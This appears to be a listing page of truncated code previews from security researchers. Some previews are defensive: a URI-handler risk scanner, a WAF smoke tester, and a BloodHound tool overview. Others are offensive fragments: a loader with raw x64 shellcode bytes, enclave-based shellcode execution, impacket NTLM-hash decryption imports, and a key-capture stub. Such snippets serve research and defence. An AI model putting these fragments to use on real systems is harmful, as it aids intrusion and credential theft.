AlloySecureGroup

<#
.SYNOPSIS
    Enumerates all registered URI/URL protocol handlers ("schemes") on a
    Windows endpoint and statically risk-scores them for potential
    execution-primitive abuse (cf. search-ms:, ms-officecmd:, and similar
    scheme-hijack findings).

.DESCRIPTION
    Does NOT invoke any handler. Purely reads HKEY_CLASSES_ROOT and
    HKEY_CURRENT_USER\Software\Classes for keys that carry the

gitgotgitgotit

🐕 BloodHound Ecosystem

A structured overview of the BloodHound attack-path analysis ecosystem — official ingestors, community collectors, converters, ADWS alternatives, analysis tools, deployment helpers, and supporting frameworks.

Legend

• 🟢 Official — maintained by SpecterOps
• 🔵 Community — third-party / unofficial

WitherOrNot

#include <stdio.h>
#include <windows.h>
#include <winternl.h>

#pragma	comment(lib, "bcrypt.lib")
#pragma comment(lib, "ntdll.lib")

typedef struct _FEISTEL64_ROUND_DATA {
	DWORD FunctionID;
	DWORD Rand0;

ThePirateWhoSmellsOfSunflowers

import argparse
import datetime
import logging
import os
import random
import struct
import sys
from binascii import hexlify, unhexlify
from six import ensure_binary

whokilleddb

#include <windows.h>
#include <wininet.h>
#include <stdio.h>

#pragma comment(lib, "wininet.lib")

// notepad.exe shellcode
char shellcode[] =  {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,

whokilleddb

#include <stdio.h>
#include <windows.h>

// Shellcode template from: https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12
// Compile using: x86_64-w64-mingw32-gcc -m64 enclave.c -o enclace.exe -lntdll

EXTERN_C NTSYSAPI
NTSTATUS
NTAPI LdrCallEnclave(
	_In_ PENCLAVE_ROUTINE Routine,

SamErde

function Test-UserInteractive {
    <#
.SYNOPSIS
    Determines whether the current PowerShell session is interactive.

.DESCRIPTION
    Evaluates the current PowerShell session to determine if it is running in an interactive mode.
    This function checks for:
    - Non-interactive command-line switches
    - CI/CD environment variables (GitHub Actions, GitLab CI, Azure DevOps, etc.)

ridjex

#!/bin/bash

# 🚀 Discover More: Testing Your Firewall in 60 Seconds: A Lightweight WAF Testing Script That Anyone Can Use
# Learn how this script works and the best practices for WAF testing.
# Read the full article here: 
# 👉 https://medium.com/@kochuraa/testing-your-firewall-in-60-seconds-a-lightweight-waf-testing-script-that-anyone-can-use-a7a725fefcb7

# Safe WAF Tester Script 
# Usage: ./waf-smoke-test.sh <URL> [-o output.md] [-H "Header: Value"]
# Examples:

ThePirateWhoSmellsOfSunflowers

from impacket.dcerpc.v5 import epm, rpcrt, transport, nrpc, samr
from impacket.uuid import bin_to_uuidtup
from impacket.crypto import SamDecryptNTLMHash
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from binascii import unhexlify, hexlify
from random import randbytes
import sys
import argparse

x86matthew

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "winmm.lib")

void Nothing(WORD wKey)
{
}

void PrintKey(WORD wKey)